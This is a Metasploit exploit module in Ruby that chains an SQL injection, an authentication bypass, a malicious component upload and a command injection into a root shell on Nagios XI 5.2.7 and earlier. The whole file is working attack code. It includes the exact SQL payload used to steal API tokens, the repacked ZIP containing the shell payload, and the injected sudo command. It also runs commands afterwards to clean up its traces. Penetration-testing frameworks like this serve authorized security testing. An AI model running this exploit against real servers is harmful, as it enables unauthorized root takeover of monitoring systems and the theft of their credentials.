## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios XI Chained Remote Code Execution', 'Description' => %q{ This module exploits an SQL injection, auth bypass, file upload, command injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell. }, 'Author' => [ 'Francesco Oddo', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['EDB', '39899'] ], 'DisclosureDate' => 'Mar 6 2016', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ ['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')] ], 'DefaultTarget' => 0 )) register_options([ OptInt.new('USER_ID', [true, 'User ID in the database to target', 1]), OptString.new('API_TOKEN', [false, 'If an API token was already stolen, skip the SQLi']) ]) end def check res = send_request_cgi!( 'method' => 'GET', 'uri' => '/nagiosxi/' ) return unless res && (html = res.get_html_document) if (version = html.at('//input[@name = "version"]/@value')) vprint_status("Nagios XI version: #{version}") if Gem::Version.new(version) <= target[:version] return CheckCode::Appears end end CheckCode::Safe end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!') end if datastore['API_TOKEN'] @api_token = datastore['API_TOKEN'] else print_status('Getting API token') get_api_token end print_status('Getting admin cookie') get_admin_cookie print_status('Getting monitored host') get_monitored_host print_status('Downloading component') download_profile_component print_status('Uploading root shell') upload_root_shell print_status('Popping shell!') pop_dat_shell end # # Cleanup methods # def on_new_session(session) super print_status('Cleaning up...') commands = [ 'rm -rf ../profile', 'unzip -qd .. ../../../../tmp/component-profile.zip', 'chown -R nagios:nagios ../profile', "rm -f ../../../../tmp/component-#{zip_filename}" ] commands.each do |command| vprint_status(command) session.shell_command_token(command) end end # # Exploit methods # def get_api_token res = send_request_cgi( 'method' => 'GET', 'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php', 'vars_get' => { 'mode' => 'resolve', 'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \ "SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USER_ID']}" \ '),FLOOR(RAND(0)*2))x ' \ 'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ' } ) # default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu # any other user has a longer token, but we cant strip the last char off. # example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g if res && res.body =~ /Duplicate entry '(.*?).'/ if $1.length > 8 res.body =~ /Duplicate entry '(.*?)'/ end @api_token = $1 vprint_good("API token: #{@api_token}") else fail_with(Failure::UnexpectedReply, 'API token not found! punt!') end end def get_admin_cookie res = send_request_cgi( 'method' => 'GET', 'uri' => '/nagiosxi/rr.php', 'vars_get' => { 'uid' => "#{datastore['USER_ID']}-#{Rex::Text.rand_text_alpha(8)}-" + Digest::MD5.hexdigest(@api_token) } ) if res && (@admin_cookie = res.get_cookies.split('; ').last) vprint_good("Admin cookie: #{@admin_cookie}") get_csrf_token(res.body) else fail_with(Failure::NoAccess, 'Admin cookie not found! punt!') end end def get_csrf_token(body) if body =~ /nsp_str = "(.*?)"/ @csrf_token = $1 vprint_good("CSRF token: #{@csrf_token}") else fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!') end end def get_monitored_host res = send_request_cgi( 'method' => 'GET', 'uri' => '/nagiosxi/ajaxhelper.php', 'cookie' => @admin_cookie, 'vars_get' => { 'cmd' => 'getxicoreajax', 'opts' => '{"func":"get_hoststatus_table"}', 'nsp' => @csrf_token } ) return unless res && (html = res.get_html_document) if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()')) vprint_good("Monitored host: #{@monitored_host}") else fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!') end end def download_profile_component res = send_request_cgi( 'method' => 'GET', 'uri' => '/nagiosxi/admin/components.php', 'cookie' => @admin_cookie, 'vars_get' => { 'download' => 'profile' } ) if res && res.body =~ /^PK\x03\x04/ @profile_component = res.body else fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!') end end def upload_root_shell mime = Rex::MIME::Message.new mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"') mime.add_part('1', nil, nil, 'form-data; name="upload"') mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"') mime.add_part(payload_zip, 'application/zip', 'binary', 'form-data; name="uploadedfile"; ' \ "filename=\"#{zip_filename}\"") res = send_request_cgi!( 'method' => 'POST', 'uri' => '/nagiosxi/admin/components.php', 'cookie' => @admin_cookie, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) if res && res.code != 200 if res.redirect? && res.redirection.path == '/nagiosxi/install.php' vprint_warning('Nagios XI not configured') else fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!') end end end def pop_dat_shell send_request_cgi( 'method' => 'GET', 'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php', 'cookie' => @admin_cookie, 'vars_get' => { 'host' => @monitored_host, 'end' => ';sudo ../profile/getprofile.sh #' } ) end # # Support methods # def payload_zip zip = Rex::Zip::Archive.new Zip::File.open_buffer(@profile_component) do |z| z.each do |f| zip.entries << Rex::Zip::Entry.new( f.name, (if f.ftype == :file if f.name == 'profile/getprofile.sh' payload.encoded else z.read(f) end else '' end), Rex::Zip::CM_DEFLATE, nil, (Rex::Zip::EFA_ISDIR if f.ftype == :directory) ) end end zip.pack end # # Utility methods # def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' end end